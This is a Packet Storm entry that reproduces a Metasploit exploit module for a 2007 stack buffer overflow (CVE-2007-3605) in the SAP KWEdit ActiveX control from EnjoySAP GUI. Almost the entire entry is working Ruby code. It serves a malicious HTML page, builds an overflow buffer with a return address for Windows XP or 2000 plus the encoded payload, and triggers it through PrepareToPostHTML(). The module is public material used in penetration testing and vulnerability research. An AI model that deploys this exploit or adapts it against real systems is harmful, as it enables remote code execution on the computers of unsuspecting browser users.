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packetstormMCPACKETSTORM:83119
HistoryNov 26, 2009 - 12:00 a.m.

EnjoySAP SAP GUI ActiveX Control Buffer Overflow

2009-11-2600:00:00
MC
packetstormsecurity.com
17

0.951 High

EPSS

Percentile

99.3%

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EnjoySAP SAP GUI ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in SAP KWEdit ActiveX  
Control (kwedit.dll 6400.1.1.41) provided by EnjoySAP GUI. By sending  
an overly long string to the "PrepareToPostHTML()" method, an attacker   
may be able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-3605' ],  
[ 'OSVDB', '37690' ],  
[ 'BID', '24772' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],  
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],   
  
],  
'DisclosureDate' => 'July 05 2007',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# Build the exploit buffer  
sploit = rand_text_alpha(1036) + Rex::Arch::X86.jmp_short(6)   
sploit << make_nops(2) + [target.ret].pack('V') + p.encoded   
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:2137278D-EF5C-11D3-96CE-0004AC965257' id='#{vname}' /></object>  
<script language='javascript'>  
#{strname} = new String('#{sploit}')  
#{vname}.PrepareToPostHTML(#{strname})  
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

0.951 High

EPSS

Percentile

99.3%